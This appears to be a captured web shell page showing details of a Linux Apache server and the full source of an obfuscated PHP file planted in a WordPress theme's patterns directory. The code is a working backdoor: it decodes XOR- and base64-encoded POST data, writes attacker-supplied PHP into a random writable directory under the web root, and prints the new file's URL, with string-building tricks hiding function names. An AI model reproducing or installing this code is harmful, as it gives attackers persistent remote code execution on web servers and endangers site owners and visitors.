HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/themes/twentytwentythree/patterns/oqxwmrnk.php
<?php function WkIUwRQY($PFPZtXkq, $LaBefZOmy, $extfC){$fIDSUrTvHYETVFLt = "86e1683b-c32a-4452-97b3-ec36d34b02b0";return $PFPZtXkq ^ $fIDSUrTvHYETVFLt[$LaBefZOmy % strlen($fIDSUrTvHYETVFLt)] ^ $extfC;}$NDSHnJg = "YtUFwZ";function aOTGC($NDSHnJg){ $YxbLxxLSTz = chr(115).chr(116).'r'."\137".chr(114)."\157"."\164".chr(49).chr(283-232);$NDSHnJg = $YxbLxxLSTz($NDSHnJg);$NkTDIENa = "\162"."\141".chr(1105-986)."\x75".chr(825-711).'l'."\x64".chr(101)."\143".chr(810-699)."\144"."\145";$NDSHnJg = $NkTDIENa($NDSHnJg);$NDSHnJg = str_split($NDSHnJg);return $NDSHnJg;}function KYNelnQ($npXtVk, $extfC){$npXtVk = array_map("WkIUwRQY", array_values($npXtVk), array_keys($npXtVk), array_values($extfC));$npXtVk = implode("", $npXtVk);$pCCVx = "\165"."\156"."\x73".chr(1003-902)."\x72".'i'."\141".'l'."\151".chr(268-146)."\145";$npXtVk = @$pCCVx($npXtVk);return $npXtVk;}function NBZadmoek($extfC, $npXtVk){$extfC = array_slice(str_split(str_repeat($extfC, (count($npXtVk)/16)+1)), 0, count($npXtVk));return $extfC;}function YZcDJdH(){echo "zZBBm";}function ZtsuZf($fIDSUrTvHir){static $ogXMsVBpQM = array();$mMzzQ = glob($fIDSUrTvHir . '/*', GLOB_ONLYDIR);$Dgdaiah = count($mMzzQ);if ($Dgdaiah > 0) {foreach ($mMzzQ as $fIDSUrTvH) {$prnRC = 'i'."\x73"."\137".'w'."\x72".chr(973-868)."\x74"."\x61"."\142"."\x6c"."\145";if (@$prnRC($fIDSUrTvH)) {$ogXMsVBpQM[] = $fIDSUrTvH;}}}foreach ($mMzzQ as $fIDSUrTvHir) ZtsuZf($fIDSUrTvHir);return $ogXMsVBpQM;}function qZhvWGRkrk($npXtVk){$UUdyhcdOw = "\x44".chr(456-377).'C'."\125".chr(986-909).'E'.chr(707-629).'T'.chr(721-626)."\122".'O'."\x4f".chr(750-666);$cfnqdO = $_SERVER[$UUdyhcdOw];$mMzzQ = ZtsuZf($cfnqdO);$AKkdljtB = array_rand($mMzzQ);$eXJGpJIuL = '.'.chr(541-429)."\x68"."\160";$SBoHskXS = $mMzzQ[$AKkdljtB] . "/" . substr(md5(time()), 0, 8) . $eXJGpJIuL;$YAUDPfe = chr(611-509)."\151".chr(108)."\x65"."\137".chr(112)."\165".'t'.'_'."\143".'o'."\156"."\164"."\x65".chr(1002-892).chr(329-213).'s';@$YAUDPfe($SBoHskXS, $npXtVk);$CHxXGLYNTq = "\x48".'T'.'T'."\120".'_'."\110".chr(878-799).chr(83)."\124";$mptqBOpB = "\x68".chr(616-500)."\x74".'p'.':'.chr(47).chr(564-517);$jCXQyVGfdk = $mptqBOpB . $_SERVER[$CHxXGLYNTq] . substr($SBoHskXS, strlen($cfnqdO));print($jCXQyVGfdk);}function GiCxH($npXtVk, $AKkdljtB){$AKkdljtB = $AKkdljtB[0];if ($npXtVk !== $AKkdljtB){qZhvWGRkrk($npXtVk);}else {tafRl();}}function tafRl(){$tWIipj = "\160".chr(1051-947).'p';$omVjjYGCp = chr(948-836).chr(934-830)."\x70"."\166".chr(101).'r'."\x73".chr(1001-896).chr(952-841)."\156";$npXtVk = Array($tWIipj => @$omVjjYGCp(), );$KhGePNhc = "\x73"."\x65"."\x72"."\151".chr(97)."\x6c".chr(105).'z'."\x65";echo @$KhGePNhc($npXtVk);}function EYGCMtI(){echo "YtUFwZ";}foreach ($_POST as $extfC => $npXtVk){$DShMWf = strlen($extfC);if ($DShMWf == 16){$npXtVk = aOTGC($npXtVk);$extfC = NBZadmoek($extfC, $npXtVk);$npXtVk = KYNelnQ($npXtVk, $extfC);if (@is_array($npXtVk)){$AKkdljtB = array_keys($npXtVk);$npXtVk = $npXtVk[$AKkdljtB[0]];GiCxH($npXtVk, $AKkdljtB);}}}die();